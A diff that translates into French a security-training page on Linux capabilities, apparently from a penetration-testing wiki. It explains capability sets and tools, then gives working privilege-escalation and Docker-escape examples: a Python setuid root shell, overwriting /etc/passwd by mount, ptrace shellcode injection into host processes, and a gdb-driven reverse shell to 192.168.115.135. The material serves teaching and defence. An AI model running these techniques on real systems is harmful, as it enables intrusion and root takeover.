d'escalade de privilèges d'un processus, ajoutant une couche de sécurité supplémentaire. +5. **Ambiante (CapAmb)** : +- **Objectif** : Permet à certaines capacités d'être maintenues lors d'un appel système `execve`, ce qui entraînerait normalement une réinitialisation complète des capacités du processus. +- **Fonctionnalité** : Assure que les programmes non-SUID qui n'ont pas de capacités de fichier associées peuvent conserver certains privilèges. +- **Restrictions** : Les capacités dans cet ensemble sont soumises aux contraintes des ensembles héritables et permis, garantissant qu'elles ne dépassent pas les privilèges autorisés du processus. ```python # Code to demonstrate the interaction of different capability sets might look like this: # Note: This is pseudo-code for illustrative purposes only. def manage_capabilities(process): - if process.has_capability('cap_setpcap'): - process.add_capability_to_set('CapPrm', 'new_capability') - process.limit_capabilities('CapBnd') - process.preserve_capabilities_across_execve('CapAmb') +if process.has_capability('cap_setpcap'): +process.add_capability_to_set('CapPrm', 'new_capability') +process.limit_capabilities('CapBnd') +process.preserve_capabilities_across_execve('CapAmb') ``` - -For further information check: +Pour plus d'informations, consultez : - [https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work](https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work) - [https://blog.ploetzli.ch/2014/understanding-linux-capabilities/](https://blog.ploetzli.ch/2014/understanding-linux-capabilities/) -## Processes & Binaries Capabilities +## Capacités des processus et des binaires -### Processes Capabilities +### Capacités des processus -To see the capabilities for a particular process, use the **status** file in the /proc directory. As it provides more details, let’s limit it only to the information related to Linux capabilities.\ -Note that for all running processes capability information is maintained per thread, for binaries in the file system it’s stored in extended attributes. +Pour voir les capacités d'un processus particulier, utilisez le fichier **status** dans le répertoire /proc. Comme il fournit plus de détails, limitons-le uniquement aux informations liées aux capacités Linux.\ +Notez que pour tous les processus en cours d'exécution, les informations de capacité sont maintenues par thread, pour les binaires dans le système de fichiers, elles sont stockées dans des attributs étendus. -You can find the capabilities defined in /usr/include/linux/capability.h - -You can find the capabilities of the current process in `cat /proc/self/status` or doing `capsh --print` and of other users in `/proc//status` +Vous pouvez trouver les capacités définies dans /usr/include/linux/capability.h +Vous pouvez trouver les capacités du processus actuel dans `cat /proc/self/status` ou en faisant `capsh --print` et celles d'autres utilisateurs dans `/proc//status` ```bash cat /proc/1234/status | grep Cap cat /proc/$$/status | grep Cap #This will print the capabilities of the current process ``` +Cette commande devrait renvoyer 5 lignes sur la plupart des systèmes. -This command should return 5 lines on most systems. - -- CapInh = Inherited capabilities -- CapPrm = Permitted capabilities -- CapEff = Effective capabilities -- CapBnd = Bounding set -- CapAmb = Ambient capabilities set - +- CapInh = Capacités héritées +- CapPrm = Capacités permises +- CapEff = Capacités effectives +- CapBnd = Ensemble de limites +- CapAmb = Ensemble de capacités ambiantes ```bash #These are the typical capabilities of a root owned process (all) CapInh: 0000000000000000 @@ -94,16 +84,12 @@ CapEff: 0000003fffffffff CapBnd: 0000003fffffffff CapAmb: 0000000000000000 ``` - -These hexadecimal numbers don’t make sense. Using the capsh utility we can decode them into the capabilities name. - +Ces nombres hexadécimaux n'ont pas de sens. En utilisant l'utilitaire capsh, nous pouvons les décoder en noms de capacités. ```bash capsh --decode=0000003fffffffff 0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37 ``` - -Lets check now the **capabilities** used by `ping`: - +Vérifions maintenant les **capabilities** utilisées par `ping` : ```bash cat /proc/9491/status | grep Cap CapInh: 0000000000000000 @@ -115,15 +101,11 @@ CapAmb: 0000000000000000 capsh --decode=0000000000003000 0x0000000000003000=cap_net_admin,cap_net_raw ``` - -Although that works, there is another and easier way. To see the capabilities of a running process, simply use the **getpcaps** tool followed by its process ID (PID). You can also provide a list of process IDs. - +Bien que cela fonctionne, il existe une autre méthode plus simple. Pour voir les capacités d'un processus en cours d'exécution, utilisez simplement l'outil **getpcaps** suivi de son identifiant de processus (PID). Vous pouvez également fournir une liste d'identifiants de processus. ```bash getpcaps 1234 ``` - -Lets check here the capabilities of `tcpdump` after having giving the binary enough capabilities (`cap_net_admin` and `cap_net_raw`) to sniff the network (_tcpdump is running in process 9562_): - +Vérifions ici les capacités de `tcpdump` après avoir donné au binaire suffisamment de capacités (`cap_net_admin` et `cap_net_raw`) pour renifler le réseau (_tcpdump s'exécute dans le processus 9562_) : ```bash #The following command give tcpdump the needed capabilities to sniff traffic $ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump @@ -141,53 +123,43 @@ CapAmb: 0000000000000000 $ capsh --decode=0000000000003000 0x0000000000003000=cap_net_admin,cap_net_raw ``` +Comme vous pouvez le voir, les capacités données correspondent aux résultats des 2 façons d'obtenir les capacités d'un binaire.\ +L'outil _getpcaps_ utilise l'appel système **capget()** pour interroger les capacités disponibles pour un thread particulier. Cet appel système n'a besoin de fournir que le PID pour obtenir plus d'informations. -As you can see the given capabilities corresponds with the results of the 2 ways of getting the capabilities of a binary.\ -The _getpcaps_ tool uses the **capget()** system call to query the available capabilities for a particular thread. This system call only needs to provide the PID to obtain more information. - -### Binaries Capabilities - -Binaries can have capabilities that can be used while executing. For example, it's very common to find `ping` binary with `cap_net_raw` capability: +### Capacités des binaires +Les binaires peuvent avoir des capacités qui peuvent être utilisées lors de l'exécution. Par exemple, il est très courant de trouver le binaire `ping` avec la capacité `cap_net_raw` : ```bash getcap /usr/bin/ping /usr/bin/ping = cap_net_raw+ep ``` - -You can **search binaries with capabilities** using: - +Vous pouvez **rechercher des binaires avec des capacités** en utilisant : ```bash getcap -r / 2>/dev/null ``` +### Abandonner des capacités avec capsh -### Dropping capabilities with capsh - -If we drop the CAP*NET_RAW capabilities for \_ping*, then the ping utility should no longer work. - +Si nous abandonnons les capacités CAP*NET_RAW pour \_ping*, alors l'utilitaire ping ne devrait plus fonctionner. ```bash capsh --drop=cap_net_raw --print -- -c "tcpdump" ``` +En plus de la sortie de _capsh_ elle-même, la commande _tcpdump_ devrait également générer une erreur. -Besides the output of _capsh_ itself, the _tcpdump_ command itself should also raise an error. +> /bin/bash: /usr/sbin/tcpdump: Opération non permise -> /bin/bash: /usr/sbin/tcpdump: Operation not permitted +L'erreur montre clairement que la commande ping n'est pas autorisée à ouvrir un socket ICMP. Maintenant, nous savons avec certitude que cela fonctionne comme prévu. -The error clearly shows that the ping command is not allowed to open an ICMP socket. Now we know for sure that this works as expected. - -### Remove Capabilities - -You can remove capabilities of a binary with +### Supprimer des capacités +Vous pouvez supprimer des capacités d'un binaire avec ```bash setcap -r ``` +## Capacités Utilisateur -## User Capabilities - -Apparently **it's possible to assign capabilities also to users**. This probably means that every process executed by the user will be able to use the users capabilities.\ -Base on on [this](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [this ](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html)and [this ](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user)a few files new to be configured to give a user certain capabilities but the one assigning the capabilities to each user will be `/etc/security/capability.conf`.\ -File example: - +Apparemment, **il est possible d'assigner des capacités également aux utilisateurs**. Cela signifie probablement que chaque processus exécuté par l'utilisateur pourra utiliser les capacités de l'utilisateur.\ +D'après [ceci](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [cela](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html) et [cela](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user), quelques fichiers doivent être configurés pour donner à un utilisateur certaines capacités, mais celui qui assigne les capacités à chaque utilisateur sera `/etc/security/capability.conf`.\ +Exemple de fichier : ```bash # Simple cap_sys_ptrace developer @@ -201,24 +173,22 @@ cap_net_admin,cap_net_raw jrnetadmin # Combining names and numerics cap_sys_admin,22,25 jrsysadmin ``` +## Capacités de l'environnement -## Environment Capabilities - -Compiling the following program it's possible to **spawn a bash shell inside an environment that provides capabilities**. - +En compilant le programme suivant, il est possible de **lancer un shell bash dans un environnement qui fournit des capacités**. ```c:ambient.c /* - * Test program for the ambient capabilities - * - * compile using: - * gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c - * Set effective, inherited and permitted capabilities to the compiled binary - * sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient - * - * To get a shell with additional caps that can be inherited do: - * - * ./ambient /bin/bash - */ +* Test program for the ambient capabilities +* +* compile using: +* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c +* Set effective, inherited and permitted capabilities to the compiled binary +* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient +* +* To get a shell with additional caps that can be inherited do: +* +* ./ambient /bin/bash +*/ #include #include @@ -229,70 +199,70 @@ Compiling the following program it's possible to **spawn a bash shell inside an #include static void set_ambient_cap(int cap) { - int rc; - capng_get_caps_process(); - rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap); - if (rc) { - printf("Cannot add inheritable cap\n"); - exit(2); - } - capng_apply(CAPNG_SELECT_CAPS); - /* Note the two 0s at the end. Kernel checks for these */ - if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) { - perror("Cannot set cap"); - exit(1); - } +int rc; +capng_get_caps_process(); +rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap); +if (rc) { +printf("Cannot add inheritable cap\n"); +exit(2); +} +capng_apply(CAPNG_SELECT_CAPS); +/* Note the two 0s at the end. Kernel checks for these */ +if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) { +perror("Cannot set cap"); +exit(1); +} } void usage(const char * me) { - printf("Usage: %s [-c caps] new-program new-args\n", me); - exit(1); +printf("Usage: %s [-c caps] new-program new-args\n", me); +exit(1); } int default_caplist[] = { - CAP_NET_RAW, - CAP_NET_ADMIN, - CAP_SYS_NICE, - -1 +CAP_NET_RAW, +CAP_NET_ADMIN, +CAP_SYS_NICE, +-1 }; int * get_caplist(const char * arg) { - int i = 1; - int * list = NULL; - char * dup = strdup(arg), * tok; - for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) { - list = realloc(list, (i + 1) * sizeof(int)); - if (!list) { - perror("out of memory"); - exit(1); - } - list[i - 1] = atoi(tok); - list[i] = -1; - i++; - } - return list; +int i = 1; +int * list = NULL; +char * dup = strdup(arg), * tok; +for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) { +list = realloc(list, (i + 1) * sizeof(int)); +if (!list) { +perror("out of memory"); +exit(1); +} +list[i - 1] = atoi(tok); +list[i] = -1; +i++; +} +return list; } int main(int argc, char ** argv) { - int rc, i, gotcaps = 0; - int * caplist = NULL; - int index = 1; // argv index for cmd to start - if (argc < 2) - usage(argv[0]); - if (strcmp(argv[1], "-c") == 0) { - if (argc <= 3) { - usage(argv[0]); - } - caplist = get_caplist(argv[2]); - index = 3; - } - if (!caplist) { - caplist = (int * ) default_caplist; - } - for (i = 0; caplist[i] != -1; i++) { - printf("adding %d to ambient list\n", caplist[i]); - set_ambient_cap(caplist[i]); - } - printf("Ambient forking shell\n"); - if (execv(argv[index], argv + index)) - perror("Cannot exec"); - return 0; +int rc, i, gotcaps = 0; +int * caplist = NULL; +int index = 1; // argv index for cmd to start +if (argc < 2) +usage(argv[0]); +if (strcmp(argv[1], "-c") == 0) { +if (argc <= 3) { +usage(argv[0]); +} +caplist = get_caplist(argv[2]); +index = 3; +} +if (!caplist) { +caplist = (int * ) default_caplist; +} +for (i = 0; caplist[i] != -1; i++) { +printf("adding %d to ambient list\n", caplist[i]); +set_ambient_cap(caplist[i]); +} +printf("Ambient forking shell\n"); +if (execv(argv[index], argv + index)) +perror("Cannot exec"); +return 0; } ``` @@ -301,40 +271,34 @@ gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient ./ambient /bin/bash ``` - -Inside the **bash executed by the compiled ambient binary** it's possible to observe the **new capabilities** (a regular user won't have any capability in the "current" section). - +À l'intérieur du **bash exécuté par le binaire ambiant compilé**, il est possible d'observer les **nouvelles capacités** (un utilisateur régulier n'aura aucune capacité dans la section "courante"). ```bash capsh --print Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip ``` - > [!CAUTION] -> You can **only add capabilities that are present** in both the permitted and the inheritable sets. +> Vous ne pouvez **ajouter que des capacités qui sont présentes** à la fois dans les ensembles autorisés et héritables. -### Capability-aware/Capability-dumb binaries +### Binaries sensibles aux capacités / Binaries insensibles aux capacités -The **capability-aware binaries won't use the new capabilities** given by the environment, however the **capability dumb binaries will us**e them as they won't reject them. This makes capability-dumb binaries vulnerable inside a special environment that grant capabilities to binaries. +Les **binaries sensibles aux capacités n'utiliseront pas les nouvelles capacités** données par l'environnement, cependant les **binaries insensibles aux capacités les utiliseront** car ils ne les rejetteront pas. Cela rend les binaries insensibles aux capacités vulnérables dans un environnement spécial qui accorde des capacités aux binaries. -## Service Capabilities - -By default a **service running as root will have assigned all the capabilities**, and in some occasions this may be dangerous.\ -Therefore, a **service configuration** file allows to **specify** the **capabilities** you want it to have, **and** the **user** that should execute the service to avoid running a service with unnecessary privileges: +## Capacités de service +Par défaut, un **service s'exécutant en tant que root aura toutes les capacités assignées**, et dans certaines occasions, cela peut être dangereux.\ +Par conséquent, un **fichier de configuration de service** permet de **spécifier** les **capacités** que vous souhaitez qu'il ait, **et** l'**utilisateur** qui devrait exécuter le service pour éviter d'exécuter un service avec des privilèges inutiles : ```bash [Service] User=bob AmbientCapabilities=CAP_NET_BIND_SERVICE ``` +## Capacités dans les conteneurs Docker -## Capabilities in Docker Containers - -By default Docker assigns a few capabilities to the containers. It's very easy to check which capabilities are these by running: - +Par défaut, Docker attribue quelques capacités aux conteneurs. Il est très facile de vérifier quelles sont ces capacités en exécutant : ```bash docker run --rm -it r.j3ss.co/amicontained bash Capabilities: - BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap +BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap # Add a capabilities docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash @@ -345,21 +309,11 @@ docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash # Remove all and add only one docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash ``` - -​ - -
- -​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - ## Privesc/Container Escape -Capabilities are useful when you **want to restrict your own processes after performing privileged operations** (e.g. after setting up chroot and binding to a socket). However, they can be exploited by passing them malicious commands or arguments which are then run as root. - -You can force capabilities upon programs using `setcap`, and query these using `getcap`: +Les capacités sont utiles lorsque vous **voulez restreindre vos propres processus après avoir effectué des opérations privilégiées** (par exemple, après avoir configuré chroot et lié à un socket). Cependant, elles peuvent être exploitées en leur passant des commandes ou des arguments malveillants qui sont ensuite exécutés en tant que root. +Vous pouvez forcer des capacités sur des programmes en utilisant `setcap`, et interroger celles-ci en utilisant `getcap`: ```bash #Set Capability setcap cap_net_raw+ep /sbin/ping @@ -368,19 +322,15 @@ setcap cap_net_raw+ep /sbin/ping getcap /sbin/ping /sbin/ping = cap_net_raw+ep ``` +Le `+ep` signifie que vous ajoutez la capacité (“-” la retirerait) en tant qu'Efficace et Permise. -The `+ep` means you’re adding the capability (“-” would remove it) as Effective and Permitted. - -To identify programs in a system or folder with capabilities: - +Pour identifier les programmes dans un système ou un dossier avec des capacités : ```bash getcap -r / 2>/dev/null ``` +### Exemple d'exploitation -### Exploitation example - -In the following example the binary `/usr/bin/python2.6` is found vulnerable to privesc: - +Dans l'exemple suivant, le binaire `/usr/bin/python2.6` est trouvé vulnérable à la privesc : ```bash setcap cap_setuid+ep /usr/bin/python2.7 /usr/bin/python2.7 = cap_setuid+ep @@ -388,46 +338,38 @@ setcap cap_setuid+ep /usr/bin/python2.7 #Exploit /usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");' ``` - -**Capabilities** needed by `tcpdump` to **allow any user to sniff packets**: - +**Capacités** nécessaires à `tcpdump` pour **permettre à tout utilisateur de renifler des paquets** : ```bash setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump getcap /usr/sbin/tcpdump /usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip ``` +### Le cas particulier des capacités "vides" -### The special case of "empty" capabilities +[Depuis la documentation](https://man7.org/linux/man-pages/man7/capabilities.7.html) : Notez qu'il est possible d'assigner des ensembles de capacités vides à un fichier programme, et ainsi il est possible de créer un programme set-user-ID-root qui change l'ID utilisateur effectif et l'ID utilisateur sauvegardé du processus qui exécute le programme à 0, mais n'accorde aucune capacité à ce processus. En d'autres termes, si vous avez un binaire qui : -[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID-root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process. Or, simply put, if you have a binary that: +1. n'est pas possédé par root +2. n'a pas de bits `SUID`/`SGID` définis +3. a un ensemble de capacités vides (par exemple : `getcap myelf` retourne `myelf =ep`) -1. is not owned by root -2. has no `SUID`/`SGID` bits set -3. has empty capabilities set (e.g.: `getcap myelf` returns `myelf =ep`) - -then **that binary will run as root**. +alors **ce binaire s'exécutera en tant que root**. ## CAP_SYS_ADMIN -**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** is a highly potent Linux capability, often equated to a near-root level due to its extensive **administrative privileges**, such as mounting devices or manipulating kernel features. While indispensable for containers simulating entire systems, **`CAP_SYS_ADMIN` poses significant security challenges**, especially in containerized environments, due to its potential for privilege escalation and system compromise. Therefore, its usage warrants stringent security assessments and cautious management, with a strong preference for dropping this capability in application-specific containers to adhere to the **principle of least privilege** and minimize the attack surface. - -**Example with binary** +**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** est une capacité Linux très puissante, souvent équivalente à un niveau proche de root en raison de ses **privilèges administratifs** étendus, tels que le montage de dispositifs ou la manipulation des fonctionnalités du noyau. Bien qu'indispensable pour les conteneurs simulant des systèmes entiers, **`CAP_SYS_ADMIN` pose des défis de sécurité significatifs**, en particulier dans les environnements conteneurisés, en raison de son potentiel d'escalade de privilèges et de compromission du système. Par conséquent, son utilisation nécessite des évaluations de sécurité strictes et une gestion prudente, avec une forte préférence pour abandonner cette capacité dans des conteneurs spécifiques à l'application afin de respecter le **principe du moindre privilège** et de minimiser la surface d'attaque. +**Exemple avec binaire** ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_admin+ep ``` - -Using python you can mount a modified _passwd_ file on top of the real _passwd_ file: - +En utilisant Python, vous pouvez monter un fichier _passwd_ modifié par-dessus le vrai fichier _passwd_: ```bash cp /etc/passwd ./ #Create a copy of the passwd file openssl passwd -1 -salt abc password #Get hash of "password" vim ./passwd #Change roots passwords of the fake passwd file ``` - -And finally **mount** the modified `passwd` file on `/etc/passwd`: - +Et enfin, **montez** le fichier `passwd` modifié sur `/etc/passwd` : ```python from ctypes import * libc = CDLL("libc.so.6") @@ -440,32 +382,28 @@ options = b"rw" mountflags = MS_BIND libc.mount(source, target, filesystemtype, mountflags, options) ``` +Et vous pourrez **`su` en tant que root** en utilisant le mot de passe "password". -And you will be able to **`su` as root** using password "password". - -**Example with environment (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: +**Exemple avec environnement (Docker breakout)** +Vous pouvez vérifier les capacités activées à l'intérieur du conteneur docker en utilisant : ``` capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` +À l'intérieur de la sortie précédente, vous pouvez voir que la capacité SYS_ADMIN est activée. -Inside the previous output you can see that the SYS_ADMIN capability is enabled. - -- **Mount** - -This allows the docker container to **mount the host disk and access it freely**: +- **Montage** +Cela permet au conteneur docker de **monter le disque hôte et d'y accéder librement** : ```bash fdisk -l #Get disk name Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors @@ -477,12 +415,10 @@ mount /dev/sda /mnt/ #Mount it cd /mnt chroot ./ bash #You have a shell inside the docker hosts disk ``` +- **Accès complet** -- **Full access** - -In the previous method we managed to access the docker host disk.\ -In case you find that the host is running an **ssh** server, you could **create a user inside the docker host** disk and access it via SSH: - +Dans la méthode précédente, nous avons réussi à accéder au disque de l'hôte docker.\ +Dans le cas où vous constatez que l'hôte exécute un serveur **ssh**, vous pourriez **créer un utilisateur à l'intérieur du disque de l'hôte docker** et y accéder via SSH : ```bash #Like in the example before, the first step is to mount the docker host disk fdisk -l @@ -496,15 +432,13 @@ nc -v -n -w2 -z 172.17.0.1 1-65535 chroot /mnt/ adduser john ssh john@172.17.0.1 -p 2222 ``` - ## CAP_SYS_PTRACE -**This means that you can escape the container by injecting a shellcode inside some process running inside the host.** To access processes running inside the host the container needs to be run at least with **`--pid=host`**. +**Cela signifie que vous pouvez échapper au conteneur en injectant un shellcode à l'intérieur de certains processus s'exécutant à l'intérieur de l'hôte.** Pour accéder aux processus s'exécutant à l'intérieur de l'hôte, le conteneur doit être exécuté au moins avec **`--pid=host`**. -**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** grants the ability to use debugging and system call tracing functionalities provided by `ptrace(2)` and cross-memory attach calls like `process_vm_readv(2)` and `process_vm_writev(2)`. Although powerful for diagnostic and monitoring purposes, if `CAP_SYS_PTRACE` is enabled without restrictive measures like a seccomp filter on `ptrace(2)`, it can significantly undermine system security. Specifically, it can be exploited to circumvent other security restrictions, notably those imposed by seccomp, as demonstrated by [proofs of concept (PoC) like this one](https://gist.github.com/thejh/8346f47e359adecd1d53). - -**Example with binary (python)** +**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** accorde la capacité d'utiliser les fonctionnalités de débogage et de traçage des appels système fournies par `ptrace(2)` et les appels d'attachement inter-mémoire comme `process_vm_readv(2)` et `process_vm_writev(2)`. Bien que puissant pour des fins de diagnostic et de surveillance, si `CAP_SYS_PTRACE` est activé sans mesures restrictives comme un filtre seccomp sur `ptrace(2)`, cela peut considérablement compromettre la sécurité du système. En particulier, cela peut être exploité pour contourner d'autres restrictions de sécurité, notamment celles imposées par seccomp, comme le démontrent [des preuves de concept (PoC) comme celle-ci](https://gist.github.com/thejh/8346f47e359adecd1d53). +**Exemple avec binaire (python)** ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_ptrace+ep @@ -524,35 +458,35 @@ PTRACE_DETACH = 17 # Structure defined in # https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct class user_regs_struct(ctypes.Structure): - _fields_ = [ - ("r15", ctypes.c_ulonglong), - ("r14", ctypes.c_ulonglong), - ("r13", ctypes.c_ulonglong), - ("r12", ctypes.c_ulonglong), - ("rbp", ctypes.c_ulonglong), - ("rbx", ctypes.c_ulonglong), - ("r11", ctypes.c_ulonglong), - ("r10", ctypes.c_ulonglong), - ("r9", ctypes.c_ulonglong), - ("r8", ctypes.c_ulonglong), - ("rax", ctypes.c_ulonglong), - ("rcx", ctypes.c_ulonglong), - ("rdx", ctypes.c_ulonglong), - ("rsi", ctypes.c_ulonglong), - ("rdi", ctypes.c_ulonglong), - ("orig_rax", ctypes.c_ulonglong), - ("rip", ctypes.c_ulonglong), - ("cs", ctypes.c_ulonglong), - ("eflags", ctypes.c_ulonglong), - ("rsp", ctypes.c_ulonglong), - ("ss", ctypes.c_ulonglong), - ("fs_base", ctypes.c_ulonglong), - ("gs_base", ctypes.c_ulonglong), - ("ds", ctypes.c_ulonglong), - ("es", ctypes.c_ulonglong), - ("fs", ctypes.c_ulonglong), - ("gs", ctypes.c_ulonglong), - ] +_fields_ = [ +("r15", ctypes.c_ulonglong), +("r14", ctypes.c_ulonglong), +("r13", ctypes.c_ulonglong), +("r12", ctypes.c_ulonglong), +("rbp", ctypes.c_ulonglong), +("rbx", ctypes.c_ulonglong), +("r11", ctypes.c_ulonglong), +("r10", ctypes.c_ulonglong), +("r9", ctypes.c_ulonglong), +("r8", ctypes.c_ulonglong), +("rax", ctypes.c_ulonglong), +("rcx", ctypes.c_ulonglong), +("rdx", ctypes.c_ulonglong), +("rsi", ctypes.c_ulonglong), +("rdi", ctypes.c_ulonglong), +("orig_rax", ctypes.c_ulonglong), +("rip", ctypes.c_ulonglong), +("cs", ctypes.c_ulonglong), +("eflags", ctypes.c_ulonglong), +("rsp", ctypes.c_ulonglong), +("ss", ctypes.c_ulonglong), +("fs_base", ctypes.c_ulonglong), +("gs_base", ctypes.c_ulonglong), +("ds", ctypes.c_ulonglong), +("es", ctypes.c_ulonglong), +("fs", ctypes.c_ulonglong), +("gs", ctypes.c_ulonglong), +] libc = ctypes.CDLL("libc.so.6") @@ -576,13 +510,13 @@ shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5 # Inject the shellcode into the running process byte by byte. for i in xrange(0,len(shellcode),4): - # Convert the byte to little endian. - shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16) - shellcode_byte_little_endian=struct.pack("& /dev/tcp/192.168.115.135/5656 0>&1'") ``` - -You won’t be able to see the output of the command executed but it will be executed by that process (so get a rev shell). +Vous ne pourrez pas voir la sortie de la commande exécutée, mais elle sera exécutée par ce processus (donc obtenez un rev shell). > [!WARNING] -> If you get the error "No symbol "system" in current context." check the previous example loading a shellcode in a program via gdb. +> Si vous obtenez l'erreur "No symbol "system" in current context.", vérifiez l'exemple précédent chargeant un shellcode dans un programme via gdb. -**Example with environment (Docker breakout) - Shellcode Injection** - -You can check the enabled capabilities inside the docker container using: +**Exemple avec environnement (Docker breakout) - Injection de Shellcode** +Vous pouvez vérifier les capacités activées à l'intérieur du conteneur docker en utilisant : ```bash capsh --print Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root ``` +Liste des **processus** en cours d'exécution sur l'**hôte** `ps -eaf` -List **processes** running in the **host** `ps -eaf` - -1. Get the **architecture** `uname -m` -2. Find a **shellcode** for the architecture ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128)) -3. Find a **program** to **inject** the **shellcode** into a process memory ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)) -4. **Modify** the **shellcode** inside the program and **compile** it `gcc inject.c -o inject` -5. **Inject** it and grab your **shell**: `./inject 299; nc 172.17.0.1 5600` +1. Obtenez l'**architecture** `uname -m` +2. Trouvez un **shellcode** pour l'architecture 